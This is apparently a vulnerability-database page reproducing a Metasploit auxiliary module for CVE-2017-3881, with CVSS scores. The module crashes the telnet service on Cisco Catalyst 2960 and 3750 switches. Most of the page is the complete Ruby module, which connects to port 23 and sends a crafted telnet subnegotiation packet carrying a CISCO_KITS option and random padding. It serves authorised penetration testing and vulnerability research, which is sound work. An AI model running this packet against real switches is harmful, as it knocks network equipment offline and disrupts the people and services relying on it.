Lucene search

K
metasploitArtem KondratenkoMSF:AUXILIARY-DOS-CISCO-IOS_TELNET_ROCEM-
HistoryJun 27, 2017 - 6:53 a.m.

Cisco IOS Telnet Denial of Service

2017-06-2706:53:23
Artem Kondratenko
www.rapid7.com
15

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

This module triggers a Denial of Service condition in the Cisco IOS telnet service affecting multiple Cisco switches. Tested against Cisco Catalyst 2960 and 3750.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Cisco IOS Telnet Denial of Service',
      'Description'    => %q{
        This module triggers a Denial of Service condition in the Cisco IOS
        telnet service affecting multiple Cisco switches. Tested against Cisco
        Catalyst 2960 and 3750.
      },
      'Author'      => [ 'Artem Kondratenko' ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          ['BID', '96960'],
          ['CVE', '2017-3881'],
          ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp'],
          ['URL', 'https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution']
        ],
      'DisclosureDate' => '2017-03-17'))

    register_options([ Opt::RPORT(23) ])
  end

  def run
    begin
      connect
      print_status "Connected to telnet service"
      packet = sock.read(200)
      if packet.nil?
        print_error "Failed to get initial packet from telnet service."
      else
        print_status "Got initial packet from telnet service: " + packet.inspect
      end
      print_status "Sending Telnet DoS packet"
      sock.put("\xff\xfa\x24\x00\x03CISCO_KITS\x012:" + Rex::Text.rand_text_alpha(1000) + ":1:\xff\xf0")
      disconnect
    rescue ::Rex::ConnectionRefused
      print_status "Unable to connect to #{rhost}:#{rport}."
    rescue ::Errno::ECONNRESET
      print_good "DoS packet successful. #{rhost} not responding."
    end
  end
end

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H